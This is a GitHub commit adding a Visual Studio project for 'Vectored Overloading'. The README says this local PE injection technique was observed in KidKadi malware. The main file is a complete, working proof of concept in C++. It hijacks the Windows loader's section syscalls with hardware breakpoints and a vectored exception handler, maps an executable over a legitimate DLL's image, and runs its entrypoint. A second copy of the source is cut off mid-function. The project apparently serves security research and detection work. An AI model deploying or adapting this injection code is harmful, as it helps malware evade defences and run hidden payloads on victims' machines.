Add files via upload

This commit is contained in:
chkp-elism
2025-11-11 09:48:50 +02:00
committed by GitHub
parent 6dcc0a8f7c
commit 40950b7b54
7 changed files with 919 additions and 0 deletions
+19
View File
@@ -0,0 +1,19 @@
# VectoredOverloading
Vectored Overloading is a local PE injection technique that was first observed in the *KidKadi* malware.
It works by manipulating the load of a legitimate DLL using Hardware Breakpoints (HWBP) and Vectored Exception Handling (VEH) to change the DLL section object on-the-fly.
Essentially, the technique does the following:
* Creates a `SEC_IMAGE` mapping from a legitimate DLL (e.g. `wmp.dll`)
* Maps a payload PE over this image memory
* Sets its entrypoint to `0` and forces the `DLL` flag in the `FileHeader->Characteristics` field
* Sets a HWBP on `NtOpenSection` & loads any legitimate DLL
* When the Windows loader calls `NtOpenSection`, the VEH emulates the syscall by skipping it and replacing the `OUT` parameters, so that section object is now that of the payload. The VEH also sets a new HWBP on `NtMapViewOfSection`
* The loader tries to map the section into memory and then triggers the VEH on `NtMapViewOfSection`
* The VEH replaces the `OUT` parameters of the syscall and skips its execution, emulating a mapping of the malicious PE's view
* The loading proceeds and the Windows loader now takes care of handling imports and further processing of the malicious PE image
* The entrypoint is invoked, executing the payload
For a more detailed analysis, please refer to our blogpost:
+359
View File
@@ -0,0 +1,359 @@
#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <winternl.h>
#if defined(_WIN32) && !defined(_WIN64)
#error This project must be compiled as 64-bit (x64). 32-bit build is not supported.
#endif
#define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS)
#define DR_TYPE UINT64
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert);
EXTERN_C NTSYSAPI NTSTATUS NTAPI
NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(
HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect
);
enum LdrState
{
StateOpenSection = 0,
StateMapViewOfSection,
StateClose
};
// ---------------------------------------------------------------------------------------------------
LdrState gLdrState = LdrState::StateOpenSection;
SIZE_T gViewSize = 0;
PVOID gBaseAddress = NULL;
HANDLE gSectionHandle = NULL;
BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx)
{
if (ctx)
{
ctx->Dr7 = 1LL;
ctx->Dr0 = (DWORD64)address;
NtContinue(ctx, FALSE);
}
else
{
// Default to current thread if no context was given
CONTEXT context = { 0 };
context.ContextFlags = CTX_FLAGS;
HANDLE hThread = GetCurrentThread();
if (!GetThreadContext(hThread, &context))
return FALSE;
context.Dr7 = 1;
context.Dr0 = (DWORD64)address;
if (!SetThreadContext(hThread, &context))
return FALSE;
}
return TRUE;
}
LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
{
CONTEXT* ctx = ExceptionInfo->ContextRecord;
switch (gLdrState)
{
case LdrState::StateOpenSection:
{
printf("[*] gLdrState == LdrState::StateOpenSection\r\n");
// Overwrite OUT handle
*(PHANDLE)ctx->Rcx = gSectionHandle;
// Skip syscall
ctx->Rax = 0;
BYTE* rip = (BYTE*)ctx->Rip;
while (*rip != 0xC3) ++rip;
ctx->Rip = (ULONG_PTR)(rip);
// Advance state and set next HWBP
gLdrState = LdrState::StateMapViewOfSection;
SetHardwareBreakpoint(NtMapViewOfSection, ctx);
NtContinue(ctx, FALSE);
return EXCEPTION_CONTINUE_EXECUTION;
}
break;
case LdrState::StateMapViewOfSection:
{
printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n");
if ((HANDLE)ctx->Rcx != gSectionHandle)
return EXCEPTION_CONTINUE_EXECUTION;
printf(" Section handle is ours\r\n");
// Replace OUT parameters
PVOID* baseAddrPtr = (PVOID*)ctx->R8;
PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38);
ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48);
ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50);
if (baseAddrPtr)
*baseAddrPtr = gBaseAddress;
if (viewSizePtr)
*viewSizePtr = gViewSize;
*allocTypePtr = 0;
*protectPtr = PAGE_EXECUTE_READWRITE;
// Skip syscall
ctx->Rax = 0;
BYTE* rip = (BYTE*)ctx->Rip;
while (*rip != 0xC3) ++rip;
ctx->Rip = (ULONG_PTR)(rip);
// Unset HWBP
ctx->Dr0 = 0LL;
ctx->Dr1 = 0LL;
ctx->Dr2 = 0LL;
ctx->Dr3 = 0LL;
ctx->Dr6 = 0LL;
ctx->Dr7 = 0LL;
ctx->EFlags |= 0x10000u;
NtContinue(ctx, FALSE);
return EXCEPTION_CONTINUE_EXECUTION;
break;
}
}
NtContinue(ctx, FALSE);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
BOOL
ApplyRelocations(
PBYTE base,
SIZE_T imageSize,
ULONGLONG newBase,
ULONGLONG oldBase
)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase;
if (!delta)
return TRUE;
IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (!relocDir.VirtualAddress || !relocDir.Size)
return TRUE;
SIZE_T processed = 0;
PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress);
while (processed < relocDir.Size && block->SizeOfBlock)
{
DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < count; i++, entry++)
{
WORD type = *entry >> 12;
WORD offset = *entry & 0xFFF;
BYTE* patchAddr = base + block->VirtualAddress + offset;
if (type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD*)patchAddr += (DWORD)delta;
else if (type == IMAGE_REL_BASED_DIR64)
*(ULONGLONG*)patchAddr += delta;
}
processed += block->SizeOfBlock;
block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock);
}
return TRUE;
}
BOOL
CopyImageSections(
PBYTE sourceBuffer,
PVOID baseAddress,
SIZE_T viewSize
)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew);
// Copy headers
SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders;
memcpy(baseAddress, sourceBuffer, headersSize);
// Copy sections
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
{
if (sec->SizeOfRawData == 0)
continue;
BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress;
BYTE* src = sourceBuffer + sec->PointerToRawData;
SIZE_T size = sec->SizeOfRawData;
if ((sec->VirtualAddress + size) > viewSize)
size = viewSize - sec->VirtualAddress;
memcpy(dst, src, size);
}
return TRUE;
}
BOOL
ApplySectionProtections(
PVOID baseAddress
)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
{
DWORD protect;
DWORD old;
if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE)
{
if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
protect = PAGE_EXECUTE_READWRITE;
else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
protect = PAGE_EXECUTE_READ;
else
protect = PAGE_EXECUTE;
}
else
{
if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
protect = PAGE_READWRITE;
else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
protect = PAGE_READONLY;
else
protect = PAGE_NOACCESS;
}
PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress;
SIZE_T size = sec->Misc.VirtualSize;
if (!size)
size = sec->SizeOfRawData;
VirtualProtect(addr, size, protect, &old);
}
return TRUE;
}
int
main()
{
DWORD oldProt;
DWORD bytesRead;
// Read PE to inject (calc.exe) into buffer
HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hCalc == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to open calc.exe\n");
return 1;
}
DWORD fileSize = GetFileSize(hCalc, NULL);
BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);
ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL);
CloseHandle(hCalc);
// Parse headers of PE to inject
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew);
// Force DLL characteristics and zero out entrypoint
DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint;
if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL))
{
nt->FileHeader.Characteristics |= IMAGE_FILE_DLL;
nt->OptionalHeader.AddressOfEntryPoint = 0;
}
// Create SEC_IMAGE section from wmp.dll
HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hWmp == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to open wmp.dll\n");
return 1;
}
NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp);
CloseHandle(hWmp);
if (status < 0)
{
printf("[-] NtCreateSection failed: 0x%08X\n", status);
return 1;
}
status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE);
if (status < 0)
{
printf("[-] NtMapViewOfSection failed: 0x%08X\n", status);
return 1;
}
// Make headers and image of wmp.dll writeable and wipe it
VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt);
memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage);
// Copy headers and sections from PE to inject into the section
CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize);
HeapFree(GetProcessHeap(), 0, pTargetPeBuf);
// Apply relocations & section protections
ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase);
ApplySectionProtections(gBaseAddress);
printf("[*] Section ready:\n");
printf(" BaseAddress = %p\n", gBaseAddress);
printf(" ViewSize = %zu\n", gViewSize);
printf(" Section = %p\n", gSectionHandle);
// Register VEH and set HWBP
PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler);
SetHardwareBreakpoint(NtOpenSection, NULL);
// Load any DLL (in this case amsi.dll) to kick off the VEH and the injection flow
HMODULE base = LoadLibraryW(L"amsi.dll");
if (!base)
{
printf("[-] Failed to load library\n");
return 1;
}
printf("[*] Loaded at 0x%llx\r\n", base);
RemoveVectoredExceptionHandler(InjectHandler);
// Invoke entrypoint
PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset;
printf("[*] Jumping to entrypoint at %p\n", entryPoint);
((void (*)())entryPoint)();
return 0;
}
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.14.36429.23 d17.14
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "VectoredOverloading", "VectoredOverloading.vcxproj", "{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.ActiveCfg = Debug|x64
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x64.Build.0 = Debug|x64
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.ActiveCfg = Debug|Win32
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Debug|x86.Build.0 = Debug|Win32
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.ActiveCfg = Release|x64
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x64.Build.0 = Release|x64
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.ActiveCfg = Release|Win32
{B6EB6C3E-7AEF-4C18-84EA-B75BB64E5DF1}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {5551E9BB-ED31-48B9-8057-1CE8FD010B60}
EndGlobalSection
EndGlobal
+131
View File
@@ -0,0 +1,131 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{b6eb6c3e-7aef-4c18-84ea-b75bb64e5df1}</ProjectGuid>
<RootNamespace>VectoredOverloading</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+22
View File
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
+4
View File
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+353
View File
@@ -0,0 +1,353 @@
#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <winternl.h>
#if defined(_WIN32) && !defined(_WIN64)
#error This project must be compiled as 64-bit (x64). 32-bit build is not supported.
#endif
#define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS)
#define DR_TYPE UINT64
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert);
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
enum LdrState
{
StateOpenSection = 0,
StateMapViewOfSection,
StateClose
};
// ---------------------------------------------------------------------------------------------------
LdrState gLdrState = LdrState::StateOpenSection;
SIZE_T gViewSize = 0;
PVOID gBaseAddress = NULL;
HANDLE gSectionHandle = NULL;
BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx)
{
if (ctx)
{
ctx->Dr7 = 1LL;
ctx->Dr0 = (DWORD64)address;
NtContinue(ctx, FALSE);
}
else
{
// Default to current thread if no context was given
CONTEXT context = { 0 };
context.ContextFlags = CTX_FLAGS;
HANDLE hThread = GetCurrentThread();
if (!GetThreadContext(hThread, &context))
return FALSE;
context.Dr7 = 1;
context.Dr0 = (DWORD64)address;
if (!SetThreadContext(hThread, &context))
return FALSE;
}
return TRUE;
}
LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
{
CONTEXT* ctx = ExceptionInfo->ContextRecord;
switch (gLdrState)
{
case LdrState::StateOpenSection:
{
printf("[*] gLdrState == LdrState::StateOpenSection\r\n");
// Overwrite OUT handle
*(PHANDLE)ctx->Rcx = gSectionHandle;
// Skip syscall
ctx->Rax = 0;
BYTE* rip = (BYTE*)ctx->Rip;
while (*rip != 0xC3) ++rip;
ctx->Rip = (ULONG_PTR)(rip);
// Advance state and set next HWBP
gLdrState = LdrState::StateMapViewOfSection;
SetHardwareBreakpoint(NtMapViewOfSection, ctx);
NtContinue(ctx, FALSE);
return EXCEPTION_CONTINUE_EXECUTION;
}
break;
case LdrState::StateMapViewOfSection:
{
printf("[*] gLdrState == LdrState::StateMapViewOfSection\r\n");
if ((HANDLE)ctx->Rcx != gSectionHandle)
return EXCEPTION_CONTINUE_EXECUTION;
printf(" Section handle is ours\r\n");
// Replace OUT parameters
PVOID* baseAddrPtr = (PVOID*)ctx->R8;
PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38);
ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48);
ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50);
if (baseAddrPtr)
*baseAddrPtr = gBaseAddress;
if (viewSizePtr)
*viewSizePtr = gViewSize;
*allocTypePtr = 0;
*protectPtr = PAGE_EXECUTE_READWRITE;
// Skip syscall
ctx->Rax = 0;
BYTE* rip = (BYTE*)ctx->Rip;
while (*rip != 0xC3) ++rip;
ctx->Rip = (ULONG_PTR)(rip);
// Unset HWBP
ctx->Dr0 = 0LL;
ctx->Dr1 = 0LL;
ctx->Dr2 = 0LL;
ctx->Dr3 = 0LL;
ctx->Dr6 = 0LL;
ctx->Dr7 = 0LL;
ctx->EFlags |= 0x10000u;
NtContinue(ctx, FALSE);
return EXCEPTION_CONTINUE_EXECUTION;
break;
}
}
NtContinue(ctx, FALSE);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
BOOL
ApplyRelocations(
PBYTE base,
SIZE_T imageSize,
ULONGLONG newBase,
ULONGLONG oldBase
)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase;
if (!delta)
return TRUE;
IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (!relocDir.VirtualAddress || !relocDir.Size)
return TRUE;
SIZE_T processed = 0;
PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress);
while (processed < relocDir.Size && block->SizeOfBlock)
{
DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < count; i++, entry++)
{
WORD type = *entry >> 12;
WORD offset = *entry & 0xFFF;
BYTE* patchAddr = base + block->VirtualAddress + offset;
if (type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD*)patchAddr += (DWORD)delta;
else if (type == IMAGE_REL_BASED_DIR64)
*(ULONGLONG*)patchAddr += delta;
}
processed += block->SizeOfBlock;
block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock);
}
return TRUE;
}
BOOL
CopyImageSections(
PBYTE sourceBuffer,
PVOID baseAddress,
SIZE_T viewSize
)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew);
// Copy headers
SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders;
memcpy(baseAddress, sourceBuffer, headersSize);
// Copy sections
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
{
if (sec->SizeOfRawData == 0)
continue;
BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress;
BYTE* src = sourceBuffer + sec->PointerToRawData;
SIZE_T size = sec->SizeOfRawData;
if ((sec->VirtualAddress + size) > viewSize)
size = viewSize - sec->VirtualAddress;
memcpy(dst, src, size);
}
return TRUE;
}
BOOL
ApplySectionProtections(
PVOID baseAddress
)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
{
DWORD protect;
DWORD old;
if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE)
{
if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
protect = PAGE_EXECUTE_READWRITE;
else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
protect = PAGE_EXECUTE_READ;
else
protect = PAGE_EXECUTE;
}
else
{
if (sec->Characteristics & IMAGE_SCN_MEM_WRITE)
protect = PAGE_READWRITE;
else if (sec->Characteristics & IMAGE_SCN_MEM_READ)
protect = PAGE_READONLY;
else
protect = PAGE_NOACCESS;
}
